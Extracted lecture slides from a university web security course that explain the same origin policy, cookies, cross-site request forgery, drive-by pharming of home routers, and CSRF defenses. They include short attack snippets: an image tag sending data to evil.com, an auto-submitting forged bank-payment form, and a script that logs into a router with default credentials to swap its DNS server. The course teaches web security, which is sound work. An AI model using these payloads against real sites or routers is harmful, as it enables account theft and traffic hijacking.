CS 6431 Web Security same origin policy cross-site

CS 6431 Web Security same origin policy cross-site request forgery Vitaly Shmatikov

Browser and Network request Browser OS Hardware website reply Network slide 2

Two Sides of Web Security u Web browser • Responsible for securely confining Web content presented by visited websites u Web applications • Online merchants, banks, blogs, Google Apps … • Mix of server-side and client-side code – Server-side code written in PHP, Ruby, ASP, JSP… runs on the Web server – Client-side code written in Java. Script… runs in the Web browser slide 3

Where Does the Attacker Live? Browser Malware OS attacker Hardware Network attacker website Web attacker slide 4

Web Threat Models u Web attacker u Network attacker • Passive: wireless eavesdropper • Active: evil Wi-Fi router, DNS poisoning u Malware attacker • Malicious code executes directly on victim’s computer • To infect victim’s computer, can exploit software bugs (e. g. , buffer overflow) or convince user to install malicious content – Masquerade as an antivirus program, video codec, etc. slide 5

Web Attacker u Controls a malicious website (attacker. com) • Can even obtain an SSL/TLS certificate for his site ($0) u User visits attacker. com – why? • Phishing email, enticing content, search results, placed by an ad network, blind luck … • Attacker’s Facebook app u Attacker has no other access to user machine! u Variation: “iframe attacker” • An iframe with malicious content included in an otherwise honest webpage – Syndicated advertising, mashups, etc. slide 6

Goals of Web Security u Safe to visit an evil website u Safe to visit two pages at the same time u Safe delegation slide 7

OS vs. Browser Analogies Operating system u Primitives • System calls • Processes • Disk u Principals: Users • Discretionary access control u Vulnerabilities • Buffer overflow • Root exploit Web browser u Primitives • Document object model • Frames • Cookies and local. Storage u Principals: “Origins” • Mandatory access control u Vulnerabilities • Cross-site scripting • Universal scripting slide 8

Browser: Basic Execution Model u Each browser window or frame: • Loads content • Renders – Processes HTML and scripts to display the page – May involve images, subframes, etc. • Responds to events u Events • User actions: On. Click, On. Mouseover • Rendering: On. Load, On. Unload slide 9

Java. Script u “The world’s most misunderstood programming language” u Language executed by the browser • Scripts are embedded in Web pages • Can run before HTML is loaded, before page is viewed, while it is being viewed, or when leaving the page u Used to implement “active” web pages • AJAX, huge number of Web-based applications u Potentially malicious website gets to execute some code on user’s machine slide 10

Java. Script History u Developed by Brendan Eich at Netscape • Scripting language for Navigator 2 u Later standardized for browser compatibility • ECMAScript Edition 3 (aka Java. Script 1. 5) u Related to Java in name only • Name was part of a marketing deal • “Java is to Java. Script as car is to carpet” u Various implementations available slide 11

Java. Script in Web Pages u Embedded in HTML page as <script> element • Java. Script written directly inside <script> element – <script> alert("Hello World!") </script> • Linked file as src attribute of the <script> element <script type="text/Java. Script" src=“functions. js"></script> u Event handler attribute <a href="http: //www. yahoo. com" onmouseover="alert('hi'); "> u Pseudo-URL referenced by a link <a href=“Java. Script: alert(‘You clicked’); ”>Click me</a> u Many other ways slide 12

Document Object Model (DOM) u HTML page is structured data u DOM is object-oriented representation of the hierarchical HTML structure • Properties: document. alink. Color, document. URL, document. forms[ ], document. links[ ], … • Methods: document. write(document. referrer) – These change the content of the page! u Also Browser Object Model (BOM) • Window, Document, Frames[], History, Location, Navigator (type and version of browser) slide 13

Browser Sandbox u Goal: safely execute Java. Script code provided by a remote website • No direct file access, limited access to OS, network, browser data, content that came from other websites u Same origin policy (SOP) • Can only read properties of documents and windows from the same protocol, domain, and port u User can grant privileges to signed scripts • Universal. Browser. Read/Write, Universal. File. Read, Universal. Send. Mail slide 14

SOP Often Misunderstood [Jackson and Barth. “Beware of Finer. Grained Origins”. W 2 SP 2008] u Often simply stated as “same origin policy” • This usually just refers to “can script from origin A access content from origin B”? u Full policy of current browsers is complex • Evolved via “penetrate-and-patch” • Different features evolved slightly different policies u Common scripting and cookie policies • Script access to DOM considers protocol, domain, port • Cookie reading considers protocol, domain, path • Cookie writing considers domain slide 15

Website Storing Info in Browser A cookie is a file created by a website to store information in the browser POST login. cgi Browser username and pwd HTTP Header: Set-cookie: Browser Server NAME=VALUE ; … GET restricted. html Cookie: NAME=VALUE Server HTTP is a stateless protocol; cookies add state slide 16

What Are Cookies Used For? u Authentication • The cookie proves to the website that the client previously authenticated correctly u Personalization • Helps the website recognize the user from a previous visit u Tracking • Follow the user from site to site; learn his/her browsing behavior, preferences, and so on slide 17

Setting Cookies by Server GET … Browser Server HTTP Header: Set-cookie: NAME=VALUE; domain = (when to send); scope if expires=NULL: path = (when to send); this session only secure = (only send over HTTPS); expires = (when expires); Http. Only • Delete cookie by setting “expires” to date in past • Default scope is domain and path of setting URL slide 18

SOP for Writing Cookies domain: any domain suffix of URL-hostname, except top-level domain (TLD) Which cookies can be set by login. site. com? allowed domains login. site. com disallowed domains user. site. com othersite. com login. site. com can set cookies for all of. site. com but not for another site or TLD Problematic for sites like. cornell. edu path: anything slide 19

SOP for Reading Cookies Browser GET //URL-domain/URL-path Cookie: NAME = VALUE Server Browser sends all cookies in URL scope: • cookie-domain is domain-suffix of URL-domain • cookie-path is prefix of URL-path • protocol=HTTPS if cookie is “secure” slide 20

SOP for Java. Script in Browser u Same domain scoping rules as for sending cookies to the server u document. cookie returns a string with all cookies available for the document • Often used in Java. Script to customize page u Javascript can set and delete cookies via DOM – document. cookie = “name=value; expires=…; ” – document. cookie = “name=; expires= Thu, 01 -Jan-70” slide 21

Path Separation Is Not Secure Cookie SOP: path separation when the browser visits x. com/A, it does not send the cookies of x. com/B This is done for efficiency, not security! DOM SOP: no path separation A script from x. com/A can read DOM of x. com/B <iframe src=“x. com/B"></iframe> alert(frames[0]. document. cookie); slide 22

Frames u Window may contain frames from different sources • frame: rigid division as part of frameset • iframe: floating inline frame <IFRAME SRC="hello. html" WIDTH=450 HEIGHT=100> If you can see this, your browser doesn't understand IFRAME. </IFRAME> u Why use frames? • Delegate screen area to content from another source • Browser provides isolation based on frames • Parent may work even if frame is broken slide 23

Browser Security Policy for Frames A B A A B u Each frame of a page has an origin • Origin = protocol: //domain: port u Frame can access objects from its own origin • Network access, read/write DOM, cookies and local. Storage u Frame cannot access objects associated with other origins slide 24

Library Import u Same origin policy does not apply to directly included scripts (not enclosed in an iframe) <script type="text/javascript" src=http: //Web. Analytics. com/analytics. Script. js> </script> Web. Analytics. com • This script has privileges of A. com, not Web. Analytics – Can change other pages from A. com origin, load more scripts u Other forms of importing slide 25

SOP Does Not Control Sending u Same origin policy (SOP) controls access to DOM u Active content (scripts) can send anywhere! • No user involvement required • Can only read response from same origin slide 26

Sending a Cross-Domain GET u Data must be URL encoded <img src="http: //othersite. com/file. cgi? foo=1&bar=x y"> Browser sends GET file. cgi? foo=1&bar=x%20 y HTTP/1. 1 to othersite. com u Can’t send to some restricted ports • For example, port 25 (SMTP) u Can use GET for denial of service (Do. S) attacks • Malicious script runs in users’ browsers, issues lots of GET requests to the victim site slide 27

Using Images to Send Data u Communicate with other sites <img src=“http: //evil. com/pass-localinformation. jpg? extra_information”> u Hide resulting image <img src=“ … ” height=“ 1" width=“ 1"> Very important point: a web page can send information to any site! slide 28

Web Applications u. Big trend: software as a Web-based service • Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc. • Cloud-hosted applications u. Application code split between client and server • Client (Web browser): Java. Script • Server: PHP, Ruby, Java, Perl, ASP … u. Security is rarely the main concern • Poorly written scripts with inadequate input validation • Inadequate protection of sensitive data slide 29

Top Web Vulnerabilities u. XSRF (CSRF) - cross-site request forgery • Bad website forces the user’s browser to send a request to a good website u. SQL injection • Malicious data sent to a website is interpreted as code in a query to the website’s back-end database u. XSS (CSS) – cross-site scripting • Malicious code injected into a trusted context (e. g. , malicious data presented by a trusted website interpreted as code by the user’s browser) slide 30

XSRF True Story (1) [Alex Stamos] u User has a Java stock ticker from his broker’s website running in his browser • Ticker has a cookie to access user’s account on the site u A comment on a public message board on finance. yahoo. com points to “leaked news” • Tiny. URL redirects to cybervillians. com/news. html u User spends a minute reading a story, gets bored, leaves the news site u Gets his monthly statement from the broker - $5, 000 transferred out of his account! slide 31

XSRF True Story (2) [Alex Stamos] Hidden iframes submitted forms that… • Changed user’s email notification settings • Linked a new checking account • Transferred out $5, 000 • Unlinked the account • Restored email notifications slide 32

Cookie-Based Authentication Browser Server POST/login. cg i tor : authentica Set-cookie GET… Cookie: authenticat or response slide 33

Browser Sandbox Redux u. Based on the same origin policy (SOP) u. Active content (scripts) can send anywhere! • Except for some ports such as SMTP u. Can only read response from the same origin slide 34

Cross-Site Request Forgery u. Users logs into bank. com, forgets to sign off • Session cookie remains in browser state u. User then visits a malicious website containing <form name=Bill. Pay. Form action=http: //bank. com/Bill. Pay. php> <input name=recipient value=badguy> … <script> document. Bill. Pay. Form. submit(); </script> u. Browser sends cookie, payment request fulfilled! • Cookie authentication is not sufficient when side effects can happen! slide 35

Sending a Cross-Domain POST <form method="POST" action="http: //othersite. com/file. cgi" encoding="text/plain"> <input type="hidden" name=“Hello world!nn 2¥+2¥" value=“ 4¥"> </form> <script>document. forms[0]. submit()</script> submit post u. Hidden iframe can do this in the background u. User visits attackers page, it tells the browser to submit a malicious form on behalf of the user • Hijack any ongoing session – Netflix: change account settings, Gmail: steal contacts • Reprogram the user’s home router • Many other attacks possible slide 36

Cookies in Forged Requests Cookie: Session. ID=523 FA 4 cd 2 E User credentials slide 37

Drive-By Pharming [Stamm et al. “Drive-By Pharming”. 2006] u User is tricked into visiting a malicious site u Malicious script detects victim’s address • Socket back to malicious host, read socket’s address u Next step: reprogram the router slide 38

Finding the Router 1) “show me dancing pigs!” Server Malicious webpage 2) “check this out” 3) port scan results scan Browser scan Firewall u Script from a malicious site can scan local network without violating the same origin policy! • Pretend to fetch an image from an IP address Basic Java. Script function, • Detect success using on. Error triggered when error occurs <IMG SRC=192. 168. 0. 1 on. Error = do()> loading a document or an image… can have a handler u Determine router type by the image it serves slide 39

Java. Script Timing Code (Sample) <html><body><img id="test" style="display: none"> <script> var test = document. get. Element. By. Id(’test’); var start = new Date(); test. onerror = function() { var end = new Date(); alert("Total time: " + (end - start)); } test. src = "http: //www. example. com/page. html"; </script> </body></html> When response header indicates that page is not an image, the browser stops and notifies Java. Script via the on. Error handle slide 40

Reprogramming the Router Fact: 50% of home users use a broadband router with a default or no password u Log into router <script src=“http: //admin: password@192. 168. 0. 1”></script> u Replace DNS server address with address of attacker-controlled DNS server slide 41

Risks of Drive-By Pharming u Completely 0 wn the victim’s Internet connection u Undetectable phishing: user goes to a financial site, attacker’s DNS gives IP of attacker’s site u Subvert anti-virus updates, etc. slide 42

XSRF Defenses u. Secret validation token <input type=hidden value=23 a 3 af 01 b> u. Referer validation Referer: http: //www. facebook. com/home. php u. Custom HTTP header X-Requested-By: XMLHttp. Request slide 43

Add Secret Token to Forms <input type=hidden value=23 a 3 af 01 b> u. Hash of user ID • Can be forged by attacker u. Session ID • If attacker has access to HTML or URL of the page (how? ), can learn session ID and hijack the session u. Session-independent nonce – Trac • Can be overwritten by subdomains, network attackers u. Need to bind session ID to the token • CSRFx, CSRFGuard - manage state table at the server • Keyed HMAC of session ID – no extra state! slide 44

Secret Token: Example slide 45

Referer Validation Referer: http: //www. facebook. com/home. php Referer: http: //www. evil. com/attack. html ? Referer: u. Lenient referer checking – header is optional u. Strict referer checking – header is required slide 46

Why Not Always Strict Checking? u. Why might the referer header be suppressed? • Stripped by the organization’s network filter – For example, http: //intranet. corp. apple. com/projects/iphone/competitors. ht ml • • Stripped by the local machine Stripped by the browser for HTTPS HTTP transitions User preference in browser Buggy browser u. Web applications can’t afford to block these users u. Referer header rarely suppressed over HTTPS slide 47

Custom Header u. XMLHttp. Request is for same-origin requests • Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves • Can use set. Request. Header within origin u. Limitations on data export • No set. Request. Header equivalent • XHR 2 has a whitelist for cross-site requests u. POST requests via AJAX X-Requested-By: XMLHttp. Request u. No secrets required slide 48

Broader View of XSRF u. Abuse of cross-site data export • SOP does not control data export • Malicious webpage can initiate requests from the user’s browser to an honest server • Server thinks requests are part of the established session between the browser and the server u. Many reasons for XSRF attacks, not just “session riding” slide 49

Login XSRF slide 50

Identity Misbinding Attacks u. User’s browser logs into website, but the session is associated with the attacker • Capture user’s private information (Web searches, sent email, etc. ) • Present user with malicious content u. Many examples • Login XSRF • Open. ID • PHP cookieless authentication slide 51

PHP Cookieless Authentication slide 52